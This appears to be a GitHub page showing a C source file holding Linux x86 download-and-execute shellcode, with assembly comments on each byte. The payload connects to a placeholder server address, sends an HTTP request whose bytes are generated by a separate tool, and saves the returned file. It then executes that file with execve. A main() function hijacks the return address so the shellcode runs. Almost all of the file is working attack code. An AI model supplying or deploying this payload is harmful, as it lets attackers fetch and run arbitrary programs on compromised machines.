-
Notifications
You must be signed in to change notification settings - Fork 0
/
http-download-exec.c
executable file
·97 lines (83 loc) · 2.93 KB
/
http-download-exec.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/*
* This shellcode allows you to download a ELF executable straight off a standard HTTP server
* and launch it.
*/
char shellcode[] =
"\x6a\x66" // push $0x66
"\x58" // pop %eax
"\x99" // cltd
"\x6a\x01" // push $0x1
"\x5b" // pop %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x6a\x02" // push $0x2
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x5b" // pop %ebx
"\x5e" // pop %esi
"\x68\xef\xbe\xad\xde" // [1*] push $0xdeadbeef
"\xbd\xfd\xff\xff\xaf" // [2*] mov $0xaffffffd,%ebp
"\xf7\xd5" // not %ebp
"\x55" // push %ebp
"\x43" // inc %ebx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\xb0\x66" // mov $0x66,%al
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x5f" // pop %edi
"\xb0\x08" // mov $0x8,%al
"\x52" // push %edx
"\x6a\x41" // push $0x41
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x59" // pop %ecx
"\xcd\x80" // int $0x80
"\x96" // xchg %eax,%esi
"\x87\xdf" // xchg %ebx,%edi
// <paste here the code, that gen_httpreq.c outputs!>
"\xb0\x04" // mov $0x4,%al
// <_send_http_request>:
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
"\x99" // cltd
"\x42" // inc %edx
//
// <_wait_for_dbl_crlf>:
//
"\x49" // dec %ecx
"\xb0\x03" // mov $0x3,%al
"\xcd\x80" // int $0x80
"\x81\x39\x0a\x0d\x0a\x0d" // cmpl $0xd0a0d0a,(%ecx)
"\x75\xf3" // jne <_wait_for_dbl_crlf>
"\xb2\x04" // mov $0x4,%dl
//
// <_dump_loop_do_read>:
//
"\xb0\x03" // mov $0x3,%al
"\xf8" // clc
//
// <_dump_loop_do_write>:
//
"\xcd\x80" // int $0x80
"\x87\xde" // xchg %ebx,%esi
"\x72\xf7" // jb <_dump_loop_do_read>
"\x85\xc0" // test %eax,%eax
"\x74\x05" // je <_close_file>
"\xb0\x04" // mov $0x4,%al
"\xf9" // stc
"\xeb\xf1" // jmp <_dump_loop_do_write>
"\xb0\x06" // mov $0x6,%al
"\xcd\x80" // int $0x80
"\x99" // cltd
"\xb0\x0b" // mov $0xb,%al
"\x89\xfb" // mov %edi,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\xeb\xcc"; // jmp <_send_http_request>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}